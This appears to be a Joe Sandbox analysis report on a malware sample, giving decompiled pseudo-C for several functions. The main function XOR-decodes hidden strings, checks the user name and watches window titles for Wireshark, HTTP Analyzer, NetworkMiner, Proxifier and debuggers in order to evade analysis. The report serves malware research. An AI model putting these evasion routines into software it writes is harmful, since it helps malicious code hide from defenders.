
6C8D6060.KERNEL32(00000000,00000000,00000001,004AE064,?,0046D676,?,00000000,0046D705,?,00000000,0046D908,?,00000000,0046D962), ref: 0046D0C6

Part of subcall function 0046CF18: GetLastError.KERNEL32(00000000,0046D004,?,?,?,004AE048,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0046D08B,00000001), ref: 0046CF39

Strings

DeleteFile, xrefs: 0046D07F
MoveFile, xrefs: 0046D0A1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D6060ErrorLast
String ID: DeleteFile$MoveFile
API String ID: 581812409-139070271
Opcode ID: 3286add737261da9596020d0779331a5a2dead55cbf0c9684a5df42f0ff127d7
Instruction ID: 86e1435b28abd71ebb250fdb3f6b7c45ff8f6c329ae4cfdc01409c1855dba219
Opcode Fuzzy Hash: 3286add737261da9596020d0779331a5a2dead55cbf0c9684a5df42f0ff127d7
Instruction Fuzzy Hash: 5BF0AF60E0411066DE14BB6A8542A5A33888F0239DF10417FF9906F3C3EA2E9C0682AF

Uniqueness

Uniqueness Score: -1.00%

Function 00402850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402850(intOrPtr __eax, intOrPtr* __edx) {
				char _v276;
				CHAR* _t5;
				intOrPtr _t10;
				CHAR* _t15;
				intOrPtr* _t16;
				void* _t17;

				_t16 = __edx;
				_t10 = __eax;
				_t18 = __eax;
				if(__eax == 0) {
					return E00403628(_t16, GetModuleFileNameA(0,  &_v276, 0x105), _t17, _t18);
				}
				_t15 = GetCommandLineA();
				while(1) {
					_t5 = E00402780(_t15, _t16);
					_t15 = _t5;
					__eflags = _t10;
					if(_t10 == 0) {
						break;
					}
					__eflags =  *_t16;
					if( *_t16 != 0) {
						_t10 = _t10 - 1;
						continue;
					}
					break;
				}
				return _t5;
			}

0x00402859
0x0040285b
0x0040285d
0x0040285f
0x00000000
0x00402878
0x00402884
0x00402886
0x0040288a
0x0040288f
0x00402891
0x00402893
0x00000000
0x00000000
0x00402895
0x00402898
0x0040289a
0x00000000
0x0040289a
0x00000000
0x00402898
0x004028a6

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,AUTOMATION,00000001,00000000,00431610,00000000,00431666,?,?,004313FC,00000001,00000000,00000000), ref: 0040286D
GetCommandLineA.KERNEL32(AUTOMATION,00000001,00000000,00431610,00000000,00431666,?,?,004313FC,00000001,00000000,00000000,?,0043209C), ref: 0040287F

Strings

AUTOMATION, xrefs: 00402852

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CommandFileLineModuleName
String ID: AUTOMATION
API String ID: 2151003578-3270279633
Opcode ID: 68efeb646be0e363d0f0ae53914f55a7e0e3c363f158dbac0d7dd3307158ec53
Instruction ID: daee7366679174b5276f86a0a27228b54be5a9370ddee46f5c897b3a8adc4376
Opcode Fuzzy Hash: 68efeb646be0e363d0f0ae53914f55a7e0e3c363f158dbac0d7dd3307158ec53
Instruction Fuzzy Hash: C5F0E52B70061227D22071AE098576B21CD8BC4754F18423BB648F73C0EEFCCC41429F

Uniqueness

Uniqueness Score: -1.00%

Function 004027EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E004027EC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				void* _t14;
				intOrPtr _t20;
				void* _t23;
				intOrPtr _t26;

				_push(0);
				_push(_t26);
				_push("\xef\xbf\				_push( *[fs:eax]);
				 *[fs:eax] = _t26;
				_t14 = E00402780(GetCommandLineA(),  &_v8);
				_t23 = 0;
				while(1) {
					_t14 = E00402780(_t14,  &_v8);
					if(_v8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
				}
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(E00402845);
				return E00403548( &_v8);
			}

0x004027ef
0x004027f6
0x004027f7
0x004027fc
0x004027ff
0x0040280f
0x00402811
0x00402813
0x0040281d
0x00402823
0x00000000
0x00000000
0x00402825
0x00402825
0x0040282a
0x0040282d
0x00402830
0x0040283d

APIs

GetCommandLineA.KERNEL32(00000000,i,?,AUTOMATION,004313FC,00000001,00000000,?,004315FB,00000000,00431666,?,?,004313FC,00000001,00000000), ref: 00402802

Strings

AUTOMATION, xrefs: 004027F3
i, xrefs: 004027F7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CommandLine
String ID: AUTOMATION$i
API String ID: 3253501508-2573797198
Opcode ID: ae67477c744024a6e7c2ac692df6760e5d4b638f78726258859dcd5773796150
Instruction ID: 1d02eac51ef4009498f5db1f058e76f7186e7b059260ff6a50aebf8a4045dc95
Opcode Fuzzy Hash: ae67477c744024a6e7c2ac692df6760e5d4b638f78726258859dcd5773796150
Instruction Fuzzy Hash: D0F0E23A200208AFD711EA61CE06A5A76ACEB49704FA18476B800B31D1D2FC1E04C198

Uniqueness

Uniqueness Score: -1.00%

Function 0040348C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040348C() {

				E00403444();
				 *0x48d014 = GetModuleHandleA(0);
				 *0x48d01c = GetCommandLineA();
				 *0x48d018 = 0xa;
				return 0x4031e4;
			}

0x0040348c
0x00403498
0x004034a3
0x004034a9
0x004034b8

APIs

GetModuleHandleA.KERNEL32(00000000,0048B766), ref: 00403493
GetCommandLineA.KERNEL32(00000000,0048B766), ref: 0040349E

Strings

h5f, xrefs: 004034A3

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: h5f
API String ID: 2123368496-3211085137
Opcode ID: b8b903d3e3261c999887b3c8c484aa6de482f4cf390c4cba503140b8ff5f7b5e
Instruction ID: 9004ed82e953d0a7964876c8a70c4593f2c9d11ead711221e392cea04e77b1f6
Opcode Fuzzy Hash: b8b903d3e3261c999887b3c8c484aa6de482f4cf390c4cba503140b8ff5f7b5e
Instruction Fuzzy Hash: 85C00270D0120096DB506F66540530C6B94974A70DF80487FE104BE2E1DA7D43065B9E

Uniqueness

Uniqueness Score: -1.00%

Function 00453E18 Relevance: 5.0, APIs: 4, Instructions: 45
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00453E18(long __eax, intOrPtr __edx, long _a4, long _a8) {
				intOrPtr _v8;
				long _t5;
				long _t9;
				void* _t10;
				void* _t13;
				void* _t15;
				void* _t16;

				_t5 = __eax;
				_v8 = __edx;
				_t9 = __eax;
				_t15 = _t10 - 1;
				if(_t15 < 0) {
					L10:
					return _t5;
				}
				_t16 = _t15 + 1;
				_t13 = 0;
				while(1) {
					_t19 = _t13 - 1;
					if(_t13 != 1) {
						__eflags = _t13 - 1;
						if(__eflags > 0) {
							Sleep(_a4);
						}
					} else {
						Sleep(_a8);
					}
					_t5 = E00451424(_t9, _v8, _t19);
					if(_t5 != 0) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 2) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 3) {
						goto L10;
					}
					_t13 = _t13 + 1;
					_t16 = _t16 - 1;
					if(_t16 != 0) {
						continue;
					}
					goto L10;
				}
				goto L10;
			}

0x00453e18
0x00453e1f
0x00453e22
0x00453e26
0x00453e29
0x00453e77
0x00453e77
0x00453e77
0x00453e2b
0x00453e2c
0x00453e2e
0x00453e2e
0x00453e31
0x00453e3e
0x00453e41
0x00453e47
0x00453e47
0x00453e33
0x00453e37
0x00453e37
0x00453e51
0x00453e58
0x00000000
0x00000000
0x00453e5a
0x00453e62
0x00000000
0x00000000
0x00453e64
0x00453e6c
0x00000000
0x00000000
0x00453e6e
0x00453e6f
0x00453e70
0x00000000
0x00000000
0x00000000
0x00453e70
0x00000000

APIs

Sleep.KERNEL32(?), ref: 00453E37
Sleep.KERNEL32(?), ref: 00453E47
GetLastError.KERNEL32 ref: 00453E5A
GetLastError.KERNEL32 ref: 00453E64

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: a67b913468619f692699f25cfc5b73161d32ff8f76a631e4438fbb84d4302c51
Instruction ID: 07c7f71cbc58125a37242bf32ec339fedd4e6aab040e1fd147ef6d31c3ced231
Opcode Fuzzy Hash: a67b913468619f692699f25cfc5b73161d32ff8f76a631e4438fbb84d4302c51
Instruction Fuzzy Hash: CCF09032A04714669A20A9AB888796FB2DCDBA53A7710412BFC04D7203C538DE4946A9

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Rec528.exePID: 2576, Parent PID: 4944COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	1.5%
Signature Coverage:	9.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 004056A0 Relevance: 35.5, APIs: 11, Strings: 9, Instructions: 514
sleepCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004056A0(void* __ebx, void* __ecx, void* __edi) {
				long _v8;
				intOrPtr* _v12;
				long _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v96;
				struct _SID_IDENTIFIER_AUTHORITY _v104;
				long _v108;
				void* _v112;
				void* _v116;
				char _v284;
				char _v288;
				signed int _v292;
				char _v296;
				char _v300;
				long _v304;
				long _v308;
				intOrPtr _v312;
				char _v313;
				long _v320;
				long _v324;
				long _v328;
				long _v332;
				long _v340;
				long* _v344;
				long _v348;
				long _v352;
				long _v356;
				long _v364;
				long _v372;
				char _v428;
				signed int _v432;
				long _v696;
				intOrPtr _v700;
				signed int _v792;
				short _v872;
				long _v876;
				void* _v884;
				void* __esi;
				void* __ebp;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				signed char _t239;
				signed char _t240;
				CHAR _t245;
				void* _t248;
				intOrPtr _t251;
				signed char _t252;
				signed int _t253;
				intOrPtr _t258;
				void* _t261;
				intOrPtr _t262;
				signed char _t263;
				signed char _t264;
				intOrPtr _t269;
				void* _t272;
				struct HWND__* _t273;
				intOrPtr _t275;
				void* _t279;
				intOrPtr* _t280;
				long _t285;
				void* _t286;
				signed int _t289;
				signed int _t290;
				intOrPtr _t293;
				signed char _t294;
				signed int _t295;
				signed int _t297;
				signed int _t298;
				intOrPtr _t300;
				signed char _t301;
				signed int _t302;
				signed int _t304;
				intOrPtr _t305;
				signed char _t306;
				signed int _t307;
				signed int _t309;
				struct HWND__* _t310;
				intOrPtr _t312;
				signed int _t313;
				signed int _t318;
				long _t319;
				signed int _t324;
				signed int _t328;
				signed int _t333;
				signed int _t337;
				int _t338;
				long _t343;
				intOrPtr _t347;
				signed char _t348;
				signed int _t349;
				signed int _t354;
				signed int _t355;
				signed int _t360;
				signed int _t366;
				signed int _t371;
				signed int _t376;
				void* _t382;
				void* _t386;
				void* _t388;
				void* _t390;
				void* _t392;
				intOrPtr _t393;
				void* _t395;
				void* _t397;
				struct HWND__* _t398;
				intOrPtr _t400;
				void* _t404;
				long _t407;
				long _t411;
				long _t420;
				long _t424;
				long _t433;
				long _t437;
				void* _t448;
				void* _t449;
				void* _t451;
				intOrPtr _t452;
				void* _t454;
				signed int _t456;
				void* _t457;
				void* _t458;
				signed char* _t459;
				CHAR* _t462;
				signed int* _t470;
				intOrPtr* _t473;
				signed char* _t477;
				intOrPtr* _t480;
				intOrPtr* _t485;
				intOrPtr* _t488;
				signed char* _t489;
				signed char* _t496;
				signed char* _t499;
				intOrPtr* _t503;
				long _t506;
				long _t511;
				signed char* _t512;
				void* _t518;
				intOrPtr* _t520;
				long _t523;
				long _t524;
				signed char* _t525;
				void* _t526;
				long _t528;
				long _t529;
				signed int* _t530;
				void* _t531;
				long _t533;
				signed char* _t534;
				void* _t535;
				long _t537;
				void* _t538;
				intOrPtr* _t539;
				void* _t541;
				long* _t542;
				void* _t543;
				void* _t544;
				void* _t545;
				void* _t546;
				void* _t548;
				void* _t549;
				intOrPtr _t550;
				signed char* _t552;
				void* _t553;
				signed char* _t554;
				signed char* _t555;
				intOrPtr _t556;
				intOrPtr _t560;
				void* _t561;
				intOrPtr* _t562;
				intOrPtr _t564;
				void* _t565;
				void* _t567;
				intOrPtr* _t568;
				signed int _t569;
				void* _t570;
				signed int _t571;
				signed int _t572;
				void* _t573;
				void* _t574;
				signed int _t576;
				void* _t577;
				long* _t578;
				long* _t579;
				long* _t580;
				long* _t581;
				long* _t582;
				long* _t583;
				signed int _t584;

				_t458 = __ecx;
				_t447 = __ebx;
				_push(0xffffffff);
				_push(E0042C631);
				_push( *[fs:0x0]);
				_t574 = _t573 - 0x168;
				_t234 =  *0x43d054; // 0x298e9dc2
				_t235 = _t234 ^ _t569;
				_v24 = _t235;
				_push(__ebx);
				_push(__edi);
				_push(_t235);
				 *[fs:0x0] =  &_v16;
				_v324 = 0;
				_v308 = 0;
				_v304 = 0xf;
				_v324 = 0;
				_v8 = 0;
				_v296 = 0x47434a4f;
				_v292 = 0x2e40;
				_t560 =  *((intOrPtr*)( *[fs:0x2c]));
				_t238 =  *0x450ec4; // 0x0
				if(_t238 >  *((intOrPtr*)(_t560 + 4))) {
					E0040EEC8(_t238, 0x450ec4);
					_t574 = _t574 + 4;
					_t594 =  *0x450ec4 - 0xffffffff;
					if( *0x450ec4 == 0xffffffff) {
						_t11 =  &_v296; // 0x47434a4f
						 *0x450f08 =  *_t11;
						 *0x450f0c = _v292;
						E0040F1DA(_t458, _t594, E0042CEB0);
						E0040EE7E(0x450ec4);
						_t574 = _t574 + 8;
					}
				}
				_t239 =  *0x450f0d; // 0x0
				if(_t239 != 0) {
					 *0x450f08 =  *0x450f08 ^ 0x0000002e;
					 *0x450f09 =  *0x450f09 ^ 0x0000002e;
					 *0x450f0a =  *0x450f0a ^ 0x0000002e;
					 *0x450f0b =  *0x450f0b ^ 0x0000002e;
					 *0x450f0c =  *0x450f0c ^ 0x0000002e;
					 *0x450f0d = _t239 ^ 0x0000002e;
				}
				_t459 = 0x450f08;
				_v348 = 0;
				_v332 = 0;
				_v328 = 0xf;
				_v348 = 0;
				_t17 =  &(_t459[1]); // 0x450f09
				_t525 = _t17;
				goto L6;
				do {
					L8:
					_t245 =  *_t462;
					_t462 = _t462 + 1;
				} while (_t245 != 0);
				E004026C0(_t447,  &_v372,  &_v288, _t462 - _t526);
				_t465 =  &_v372;
				_t248 = E0040C9E0( &_v372,  &_v348);
				_t528 = _v352;
				_t448 = _t248;
				if(_t528 < 0x10) {
					L13:
					_v8 = 0;
					_t529 = _v328;
					if(_t529 < 0x10) {
						L17:
						if(_t448 != 0) {
							L76:
							 *[fs:0x0] = _v16;
							_pop(_t549);
							_pop(_t561);
							_pop(_t449);
							return E0040EB3F(0, _t449, _v24 ^ _t569, _t529, _t549, _t561);
						} else {
							_t251 =  *0x450fd8; // 0x0
							_v296 = 0x464f467d;
							if(_t251 >  *((intOrPtr*)(_t560 + 4))) {
								E0040EEC8(_t251, 0x450fd8);
								_t574 = _t574 + 4;
								_t608 =  *0x450fd8 - 0xffffffff;
								if( *0x450fd8 == 0xffffffff) {
									_t41 =  &_v296; // 0x464f467d
									 *0x451000 =  *_t41;
									 *0x451004 = 0x2e;
									E0040F1DA(_t465, _t608, E0042CE90);
									E0040EE7E(0x450fd8);
									_t574 = _t574 + 8;
								}
							}
							_t252 =  *0x451004;
							if(_t252 != 0) {
								 *0x451000 =  *0x451000 ^ 0x0000002e;
								 *0x451001 =  *0x451001 ^ 0x0000002e;
								 *0x451002 =  *0x451002 ^ 0x0000002e;
								 *0x451003 =  *0x451003 ^ 0x0000002e;
								 *0x451004 = _t252 ^ 0x0000002e;
							}
							_t470 = 0x451000;
							_v348 = 0;
							_v332 = 0;
							_v328 = 0xf;
							_v348 = 0;
							_t46 =  &(_t470[0]); // 0x451001
							_t530 = _t46;
							do {
								_t253 =  *_t470;
								_t470 =  &(_t470[0]);
							} while (_t253 != 0);
							E004026C0(0x2e,  &_v348, 0x451000, _t470 - _t530);
							_t48 =  &_v296; // 0x464f467d
							_v8 = 2;
							_v296 = 0x101;
							GetUserNameA( &_v288, _t48);
							_t473 =  &_v288;
							_v372 = 0;
							_v356 = 0;
							_t531 = _t473 + 1;
							_v352 = 0xf;
							do {
								_t258 =  *_t473;
								_t473 = _t473 + 1;
							} while (_t258 != 0);
							E004026C0(0x2e,  &_v372,  &_v288, _t473 - _t531);
							_t476 =  &_v372;
							_t261 = E0040C9E0( &_v372,  &_v348);
							_t533 = _v352;
							_t451 = _t261;
							if(_t533 < 0x10) {
								L31:
								_v8 = 0;
								_t529 = _v328;
								if(_t529 < 0x10) {
									L35:
									if(_t451 != 0) {
										goto L76;
									} else {
										_t262 =  *0x450ec0; // 0x0
										_v300 = 0x5a5d4b5a;
										_v296 = 0x4d404b6c;
										_v292 = 0x2e46;
										if(_t262 >  *((intOrPtr*)(_t560 + 4))) {
											E0040EEC8(_t262, 0x450ec0);
											_t574 = _t574 + 4;
											_t622 =  *0x450ec0 - 0xffffffff;
											if( *0x450ec0 == 0xffffffff) {
												asm("movq xmm0, [ebp-0x128]");
												asm("movq [0x450d30], xmm0");
												 *0x450d38 = _v292;
												E0040F1DA(_t476, _t622, E0042CE70);
												E0040EE7E(0x450ec0);
												_t574 = _t574 + 8;
											}
										}
										_t263 =  *0x450d39; // 0x0
										if(_t263 != 0) {
											 *0x450d30 =  *0x450d30 ^ 0x0000002e;
											 *0x450d31 =  *0x450d31 ^ 0x0000002e;
											 *0x450d32 =  *0x450d32 ^ 0x0000002e;
											 *0x450d33 =  *0x450d33 ^ 0x0000002e;
											 *0x450d34 =  *0x450d34 ^ 0x0000002e;
											 *0x450d35 =  *0x450d35 ^ 0x0000002e;
											 *0x450d36 =  *0x450d36 ^ 0x0000002e;
											 *0x450d37 =  *0x450d37 ^ 0x0000002e;
											 *0x450d38 =  *0x450d38 ^ 0x0000002e;
											 *0x450d39 = _t263 ^ 0x0000002e;
										}
										_t477 = 0x450d30;
										_v348 = 0;
										_v332 = 0;
										_v328 = 0xf;
										_v348 = 0;
										_t77 =  &(_t477[1]); // 0x450d31
										_t534 = _t77;
										do {
											_t264 =  *_t477;
											_t477 =  &(_t477[1]);
										} while (_t264 != 0);
										E004026C0(_t451,  &_v348, 0x450d30, _t477 - _t534);
										_t79 =  &_v296; // 0x4d404b6c
										_v8 = 3;
										_v296 = 0x101;
										GetUserNameA( &_v288, _t79);
										_t480 =  &_v288;
										_v372 = 0;
										_v356 = 0;
										_t535 = _t480 + 1;
										_v352 = 0xf;
										do {
											_t269 =  *_t480;
											_t480 = _t480 + 1;
										} while (_t269 != 0);
										E004026C0(_t451,  &_v372,  &_v288, _t480 - _t535);
										_t272 = E0040C9E0( &_v372,  &_v348);
										_t537 = _v352;
										_t451 = _t272;
										if(_t537 < 0x10) {
											L49:
											_v8 = 0;
											_t529 = _v328;
											if(_t529 < 0x10) {
												L53:
												if(_t451 != 0) {
													goto L76;
												} else {
													_t273 = GetForegroundWindow(); // executed
													GetWindowTextA(_t273,  &_v288, 0xc8);
													_t485 =  &_v288;
													_t538 = _t485 + 1;
													do {
														_t275 =  *_t485;
														_t485 = _t485 + 1;
													} while (_t275 != 0);
													E004026C0(_t451,  &_v324,  &_v288, _t485 - _t538);
													_t279 = E00410160( &_v288, " Far ");
													_t574 = _t574 + 8;
													if(_t279 == 0) {
														_t451 = Sleep;
														while(1) {
															_t386 = E00410160( &_v288, "roxifier");
															_t574 = _t574 + 8;
															if(_t386 != 0) {
																goto L72;
															}
															_t388 = E00410160( &_v288, "HTTP Analyzer");
															_t574 = _t574 + 8;
															if(_t388 == 0) {
																_t390 = E00410160( &_v288, "Wireshark");
																_t574 = _t574 + 8;
																if(_t390 == 0) {
																	_t392 = E00410160( &_v288, "NetworkMiner");
																	_t574 = _t574 + 8;
																	if(_t392 == 0) {
																		_t568 =  &_v288;
																		_t518 = _t568 + 1;
																		do {
																			_t393 =  *_t568;
																			_t568 = _t568 + 1;
																		} while (_t393 != 0);
																		_t560 = _t568 - _t518;
																		_t548 = 0;
																		if(_t560 > 0) {
																			do {
																				 *((char*)(_t569 + _t548 - 0x11c)) = E004181F5( *((char*)(_t569 + _t548 - 0x11c)));
																				_t574 = _t574 + 4;
																				_t548 = _t548 + 1;
																			} while (_t548 < _t560);
																		}
																		_t395 = E00410160( &_v288, "dbg");
																		_t574 = _t574 + 8;
																		if(_t395 == 0) {
																			_t397 = E00410160( &_v288, "debug");
																			_t574 = _t574 + 8;
																			if(_t397 == 0) {
																				Sleep(0x258); // executed
																				_t398 = GetForegroundWindow(); // executed
																				GetWindowTextA(_t398,  &_v288, 0xc8);
																				_t520 =  &_v288;
																				_t543 = _t520 + 1;
																				do {
																					_t400 =  *_t520;
																					_t520 = _t520 + 1;
																				} while (_t400 != 0);
																				E004026C0(_t451,  &_v324,  &_v288, _t520 - _t543);
																				_t404 = E00410160( &_v288, " Far ");
																				_t574 = _t574 + 8;
																				if(_t404 == 0) {
																					continue;
																				}
																			}
																		}
																	}
																}
															}
															goto L72;
														}
													}
													L72:
													_t529 = _v304;
													if(_t529 < 0x10) {
														goto L76;
													} else {
														_t488 = _v324;
														_t529 = _t529 + 1;
														_t280 = _t488;
														if(_t529 < 0x1000) {
															L75:
															_push(_t529);
															E0040ED7F(_t488);
															goto L76;
														} else {
															_t488 =  *((intOrPtr*)(_t488 - 4));
															_t529 = _t529 + 0x23;
															if(_t280 - _t488 + 0xfffffffc > 0x1f) {
																goto L77;
															} else {
																goto L75;
															}
														}
													}
												}
											} else {
												_t523 = _v348;
												_t529 = _t529 + 1;
												_t407 = _t523;
												if(_t529 < 0x1000) {
													L52:
													_push(_t529);
													E0040ED7F(_t523);
													_t574 = _t574 + 8;
													goto L53;
												} else {
													_t488 =  *((intOrPtr*)(_t523 - 4));
													_t529 = _t529 + 0x23;
													if(_t407 - _t488 + 0xfffffffc > 0x1f) {
														goto L77;
													} else {
														goto L52;
													}
												}
											}
										} else {
											_t524 = _v372;
											_t544 = _t537 + 1;
											_t411 = _t524;
											if(_t544 < 0x1000) {
												L48:
												_push(_t544);
												E0040ED7F(_t524);
												_t574 = _t574 + 8;
												goto L49;
											} else {
												_t488 =  *((intOrPtr*)(_t524 - 4));
												_t529 = _t544 + 0x23;
												if(_t411 - _t488 + 0xfffffffc > 0x1f) {
													goto L77;
												} else {
													goto L48;
												}
											}
										}
									}
								} else {
									_t476 = _v348;
									_t529 = _t529 + 1;
									_t420 = _t476;
									if(_t529 < 0x1000) {
										L34:
										_push(_t529);
										E0040ED7F(_t476);
										_t574 = _t574 + 8;
										goto L35;
									} else {
										_t488 =  *((intOrPtr*)(_t476 - 4));
										_t529 = _t529 + 0x23;
										if(_t420 - _t488 + 0xfffffffc > 0x1f) {
											goto L77;
										} else {
											goto L34;
										}
									}
								}
							} else {
								_t476 = _v372;
								_t545 = _t533 + 1;
								_t424 = _t476;
								if(_t545 < 0x1000) {
									L30:
									_push(_t545);
									E0040ED7F(_t476);
									_t574 = _t574 + 8;
									goto L31;
								} else {
									_t488 =  *((intOrPtr*)(_t476 - 4));
									_t529 = _t545 + 0x23;
									if(_t424 - _t488 + 0xfffffffc > 0x1f) {
										goto L77;
									} else {
										goto L30;
									}
								}
							}
						}
					} else {
						_t465 = _v348;
						_t529 = _t529 + 1;
						_t433 = _t465;
						if(_t529 < 0x1000) {
							L16:
							_push(_t529);
							E0040ED7F(_t465);
							_t574 = _t574 + 8;
							goto L17;
						} else {
							_t488 =  *((intOrPtr*)(_t465 - 4));
							_t529 = _t529 + 0x23;
							if(_t433 - _t488 + 0xfffffffc > 0x1f) {
								goto L77;
							} else {
								goto L16;
							}
						}
					}
				} else {
					_t465 = _v372;
					_t546 = _t528 + 1;
					_t437 = _t465;
					if(_t546 < 0x1000) {
						L12:
						_push(_t546);
						E0040ED7F(_t465);
						_t574 = _t574 + 8;
						goto L13;
					} else {
						_t488 =  *((intOrPtr*)(_t465 - 4));
						_t529 = _t546 + 0x23;
						if(_t437 - _t488 + 0xfffffffc > 0x1f) {
							L77:
							E004134A7(_t451, _t529, __eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t569);
							_t570 = _t574;
							_push(_t488);
							__eflags =  *((intOrPtr*)(_t529 + 0x14)) - 0x10;
							_t285 = _t529;
							_push(_t451);
							_push(_t560);
							_push(_t548);
							_t562 = _t488;
							if( *((intOrPtr*)(_t529 + 0x14)) >= 0x10) {
								_t285 =  *_t529;
							}
							__eflags =  *((intOrPtr*)(_t562 + 0x14)) - 0x10;
							if( *((intOrPtr*)(_t562 + 0x14)) >= 0x10) {
								_t488 =  *_t562;
							}
							_t452 =  *((intOrPtr*)(_t529 + 0x10));
							_t539 = _t562 + 0x10;
							_t550 =  *_t539;
							_v12 = _t539;
							_t286 = E004028A0(_t488, _t550, _t488, _t285, _t452);
							_t541 = _t286;
							_t576 = _t574 + 0xc;
							__eflags = _t541 - 0xffffffff;
							if(_t541 == 0xffffffff) {
								L87:
								return _t286;
							} else {
								__eflags = _t550 - _t541;
								if(_t550 < _t541) {
									E00402800(_t488, _t541);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t570);
									_t571 = _t576;
									_push(0xffffffff);
									_push(E0042C687);
									_push( *[fs:0x0]);
									_t577 = _t576 - 0x154;
									_t289 =  *0x43d054; // 0x298e9dc2
									_t290 = _t289 ^ _t571;
									_v432 = _t290;
									_push(_t452);
									_push(_t562);
									_push(_t550);
									_push(_t290);
									 *[fs:0x0] =  &_v428;
									_v696 = 0;
									_v700 = 0x455d4f5a;
									_v696 = 0x2e5c4943;
									_t564 =  *((intOrPtr*)( *[fs:0x2c]));
									_t293 =  *0x450ebc; // 0x80000010
									__eflags = _t293 -  *((intOrPtr*)(_t564 + 4));
									if(_t293 >  *((intOrPtr*)(_t564 + 4))) {
										E0040EEC8(_t293, 0x450ebc);
										_t577 = _t577 + 4;
										__eflags =  *0x450ebc - 0xffffffff;
										if(__eflags == 0) {
											_t143 =  &_v296; // 0x455d4f5a
											_t144 =  &_v292; // 0x2e5c4943
											 *0x450d40 =  *_t143;
											 *0x450d44 =  *_t144;
